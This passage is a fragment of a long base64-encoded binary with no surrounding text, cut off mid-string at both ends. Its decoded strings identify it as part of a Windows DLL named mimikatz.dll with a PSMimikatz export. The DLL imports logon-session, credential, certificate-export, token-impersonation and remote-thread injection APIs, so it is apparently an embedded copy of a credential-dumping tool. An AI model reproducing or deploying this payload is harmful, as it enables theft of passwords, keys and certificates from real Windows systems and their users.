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TEwAsQBDcnlwdEFjcXVpcmVDb250ZXh0VwAAywBDcnlwdFJlbGVhc2VDb250ZXh0AMoAQ3J5cHRJbXBvcnRLZXkAALcAQ3J5cHREZXN0cm95S2V5ALQAQ3J5cHREZWNyeXB0AAC/AENyeXB0RXhwb3J0S2V5AAC+AENyeXB0RW51bVByb3ZpZGVyc1cAxgBDcnlwdEdldFByb3ZQYXJhbQDEAENyeXB0R2V0SGFzaFBhcmFtALMAQ3J5cHRDcmVhdGVIYXNoALYAQ3J5cHREZXN0cm95SGFzaAAAyABDcnlwdEhhc2hEYXRhAJUBTG9va3VwUHJpdmlsZWdlTmFtZVcAAPcBT3BlblByb2Nlc3NUb2tlbgAAWgFHZXRUb2tlbkluZm9ybWF0aW9uAJcBTG9va3VwUHJpdmlsZWdlVmFsdWVXAB8AQWRqdXN0VG9rZW5Qcml2aWxlZ2VzAH0AQ3JlYXRlUHJvY2Vzc1dpdGhMb2dvblcAvwJTZXRTZXJ2aWNlT2JqZWN0U2VjdXJpdHkAAEMAQnVpbGRTZWN1cml0eURlc2NyaXB0b3JXAAAnAlF1ZXJ5U2VydmljZU9iamVjdFNlY3VyaXR5AACRAUxvb2t1cEFjY291bnRTaWRXAN8ARHVwbGljYXRlVG9rZW5FeAAArQJTZXRLZXJuZWxPYmplY3RTZWN1cml0eQAgAEFsbG9jYXRlQW5kSW5pdGlhbGl6ZVNpZAAAIAFGcmVlU2lkAGwAQ29udmVydFNpZFRvU3RyaW5nU2lkVwAAVwBDbG9zZVNlcnZpY2VIYW5kbGUAANoARGVsZXRlU2VydmljZQD5AU9wZW5TQ01hbmFnZXJXAAD7AU9wZW5TZXJ2aWNlVwAAyQJTdGFydFNlcnZpY2VXAFwAQ29udHJvbFNlcnZpY2UAAAEBRW51bVNlcnZpY2VzU3RhdHVzRXhXAIABSXNUZXh0VW5pY29kZQDFAENyeXB0R2V0S2V5UGFyYW0AAMcAQ3J5cHRHZXRVc2VyS2V5AIwAQ3JlZEZyZWUAAIkAQ3JlZEVudW1lcmF0ZVcAAC0CUmVhZEVuY3J5cHRlZEZpbGVSYXcAAFUAQ2xvc2VFbmNyeXB0ZWRGaWxlUmF3AB8CUXVlcnlSZWNvdmVyeUFnZW50c09uRW5jcnlwdGVkRmlsZQAAHgFGcmVlRW5jcnlwdGlvbkNlcnRpZmljYXRlSGFzaExpc3QALAJRdWVyeVVzZXJzT25FbmNyeXB0ZWRGaWxlAPQBT3BlbkVuY3J5cHRlZEZpbGVSYXdXAHMBSW1wZXJzb25hdGVMb2dnZWRPblVzZXIAbgJSZWdRdWVyeVZhbHVlRXhXAABhAlJlZ09wZW5LZXlFeFcAMAJSZWdDbG9zZUtleQBoAlJlZ1F1ZXJ5SW5mb0tleVcAAE8CUmVnRW51bUtleUV4VwCQAlJldmVydFRvU2VsZgAAgQBDcmVhdGVTZXJ2aWNlVwAAQURWQVBJMzIuZGxsAAA5AlBvc3RUaHJlYWRNZXNzYWdlVwAApAFHZXRXaW5kb3dUaHJlYWRQcm9jZXNzSWQAAPIARW51bVdpbmRvd3MAJgNXYWl0Rm9ySW5wdXRJZGxlAAARA1VwZGF0ZVdpbmRvdwAAvgFJbnZhbGlkYXRlUmVjdAAAVVNFUjMyLmRsbAAAHgBHZXRVc2VyTmFtZUV4VwAAKgBMc2FGcmVlUmV0dXJuQnVmZmVyACsATHNhR2V0TG9nb25TZXNzaW9uRGF0YQAAKQBMc2FFbnVtZXJhdGVMb2dvblNlc3Npb25zAFNlY3VyMzIuZGxsAEsAQ2VydEdldE5hbWVTdHJpbmdXAABXAENlcnRPcGVuU3RvcmUAQABDZXJ0RnJlZUNlcnRpZmljYXRlQ29udGV4dAAABABDZXJ0QWRkQ2VydGlmaWNhdGVDb250ZXh0VG9TdG9yZQAAEgBDZXJ0Q2xvc2VTdG9yZQAARgBDZXJ0R2V0Q2VydGlmaWNhdGVDb250ZXh0UHJvcGVydHkALwBDZXJ0RW51bVN5c3RlbVN0b3JlABYBUEZYRXhwb3J0Q2VydFN0b3JlRXgAAHoAQ3J5cHRBY3F1aXJlQ2VydGlmaWNhdGVQcml2YXRlS2V5ACwAQ2VydEVudW1DZXJ0aWZpY2F0ZXNJblN0b3JlAENSWVBUMzIuZGxsAGUAUGF0aElzUmVsYXRpdmVXADgAUGF0aENhbm9uaWNhbGl6ZVcAOgBQYXRoQ29tYmluZVcAAFNITFdBUEkuZGxsABsAV1RTT3BlblNlcnZlclcAAAsAV1RTRW51bWVyYXRlUHJvY2Vzc2VzVwAAEgBXVFNGcmVlTWVtb3J5AAAAV1RTQ2xvc2VTZXJ2ZXIAABEAV1RTRW51bWVyYXRlU2Vzc2lvbnNXAFdUU0FQSTMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsACUFV3JpdGVGaWxlAI8AQ3JlYXRlRmlsZVcAVwFGbHVzaEZpbGVCdWZmZXJzAAACAkdldExhc3RFcnJvcgAAUgBDbG9zZUhhbmRsZQBiAUZyZWVMaWJyYXJ5AD8DTG9hZExpYnJhcnlXAABzBFNldExhc3RFcnJvcgAARQJHZXRQcm9jQWRkcmVzcwAAGAJHZXRNb2R1bGVIYW5kbGVXAAD5BFdhaXRGb3JTaW5nbGVPYmplY3QAqQBDcmVhdGVSZW1vdGVUaHJlYWQAAIADT3BlblByb2Nlc3MA7QRWaXJ0dWFsRnJlZUV4AOoEVmlydHVhbEFsbG9jRXgAAMABR2V0Q3VycmVudFByb2Nlc3MAwwNSZWFkUHJvY2Vzc01lbW9yeQDwBFZpcnR1YWxQcm90ZWN0RXgAAO8EVmlydHVhbFByb3RlY3QAAC4FV3JpdGVQcm9jZXNzTWVtb3J5AAAlAkdldE5hdGl2ZVN5c3RlbUluZm8AZQBDb25uZWN0TmFtZWRQaXBlAACgAENyZWF0ZU5hbWVkUGlwZVcAAMADUmVhZEZpbGUAAOEARGlzY29ubmVjdE5hbWVkUGlwZQCoAENyZWF0ZVByb2Nlc3NXAAD3AklzQmFkUmVhZFB0cgAAwARUZXJtaW5hdGVQcm9jZXNzAACWA1Byb2Nlc3MzMkZpcnN0VwBbA01vZHVsZTMyRmlyc3RXAACYA1Byb2Nlc3MzMk5leHRXAAC+AENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAXQNNb2R1bGUzMk5leHRXAEgDTG9jYWxGcmVlAF4BRm9ybWF0TWVzc2FnZVcAAKQCR2V0VmVyc2lvbkV4VwC/AUdldEN1cnJlbnREaXJlY3RvcnlXAACOAUdldENvbXB1dGVyTmFtZUV4VwAAwwRUaHJlYWQzMkZpcnN0AMEEVGVybWluYXRlVGhyZWFkAMQEVGhyZWFkMzJOZXh0AACFA09wZW5UaHJlYWQAALoEU3VzcGVuZFRocmVhZAATBFJlc3VtZVRocmVhZAAASARTZXRDb25zb2xlVGl0bGVXAACWAENyZWF0ZUpvYk9iamVjdFcAABYAQXNzaWduUHJvY2Vzc1RvSm9iT2JqZWN0AABMAkdldFByb2Nlc3NJZAAA6ABEdXBsaWNhdGVIYW5kbGUAvwRUZXJtaW5hdGVKb2JPYmplY3QAAPIEVmlydHVhbFF1ZXJ5RXgAALIEU2xlZXAAMQRTZXRDb25zb2xlQ3Vyc29yUG9zaXRpb24AAGQCR2V0U3RkSGFuZGxlAAAoAUZpbGxDb25zb2xlT3V0cHV0Q2hhcmFjdGVyVwCyAUdldENvbnNvbGVTY3JlZW5CdWZmZXJJbmZvAAARBVdpZGVDaGFyVG9NdWx0aUJ5dGUA7wJJbnRlcmxvY2tlZEluY3JlbWVudAAA6wJJbnRlcmxvY2tlZERlY3JlbWVudAAA6QJJbnRlcmxvY2tlZENvbXBhcmVFeGNoYW5nZQAA7AJJbnRlcmxvY2tlZEV4Y2hhbmdlAGcDTXVsdGlCeXRlVG9XaWRlQ2hhcgBpAkdldFN0cmluZ1R5cGVXAADqAEVuY29kZVBvaW50ZXIAygBEZWNvZGVQb2ludGVyAOICSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbgDRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDuAEVudGVyQ3JpdGljYWxTZWN0aW9uAAA5A0xlYXZlQ3JpdGljYWxTZWN0aW9uAADPAkhlYXBGcmVlAADLAkhlYXBBbGxvYwDSAkhlYXBSZUFsbG9jAMUBR2V0Q3VycmVudFRocmVhZElkAACGAUdldENvbW1hbmRMaW5lQQByAUdldENQSW5mbwCxA1JhaXNlRXhjZXB0aW9uAAAYBFJ0bFVud2luZAAtA0xDTWFwU3RyaW5nVwAA0wRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIAAKUEU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AM0CSGVhcENyZWF0ZQAAzgJIZWFwRGVzdHJveQDFBFRsc0FsbG9jAADHBFRsc0dldFZhbHVlAMgEVGxzU2V0VmFsdWUAxgRUbHNGcmVlAOMCSW5pdGlhbGl6ZUNyaXRpY2FsU2VjdGlvbkFuZFNwaW5Db3VudAAZAUV4aXRQcm9jZXNzABQCR2V0TW9kdWxlRmlsZU5hbWVXAABvBFNldEhhbmRsZUNvdW50AADzAUdldEZpbGVUeXBlAGMCR2V0U3RhcnR1cEluZm9XAGYEU2V0RmlsZVBvaW50ZXIAAGgBR2V0QUNQAAA3AkdldE9FTUNQAAAKA0lzVmFsaWRDb2RlUGFnZQCHBFNldFN0ZEhhbmRsZQAAmwJHZXRVc2VyRGVmYXVsdExDSUQAAAYCR2V0TG9jYWxlSW5mb1cAAAQCR2V0TG9jYWxlSW5mb0EAAA0BRW51bVN5c3RlbUxvY2FsZXNBAAAMA0lzVmFsaWRMb2NhbGUAmgFHZXRDb25zb2xlQ1AAAKwBR2V0Q29uc29sZU1vZGUAANQCSGVhcFNpemUAABMCR2V0TW9kdWxlRmlsZU5hbWVBAABhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXANoBR2V0RW52aXJvbm1lbnRTdHJpbmdzVwAApwNRdWVyeVBlcmZvcm1hbmNlQ291bnRlcgCTAkdldFRpY2tDb3VudAAAwQFHZXRDdXJyZW50UHJvY2Vzc0lkAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUAJAVXcml0ZUNvbnNvbGVXAFMEU2V0RW5kT2ZGaWxlAABKAkdldFByb2Nlc3NIZWFwAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAp10lSAAAAAGzxBAABAAAAAgAAAAIAAABY8QQAYPEEAGjxBADG6gAAg+kAAHnxBACE8QQAAAABAG1pbWlrYXR6LmRsbABQU01pbWlrYXR6AFdTdHJpbmdGdW5jAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAM5wMQAAAAAC4/QVZlcnJvcl9jYXRlZ29yeUBzdGRAQAAAAAAM5wMQAAAAAC4/QVZfR2VuZXJpY19lcnJvcl9jYXRlZ29yeUBzdGRAQAAAAAznAxAAAAAALj9BVl9Jb3N0cmVhbV9lcnJvcl9jYXRlZ29yeUBzdGRAQAAADOcDEAAAAAAuP0FWX1N5c3RlbV9lcnJvcl9jYXRlZ29yeUBzdGRAQAAAAABI5AMQPOQDEHzkAxBs5AMQoOQD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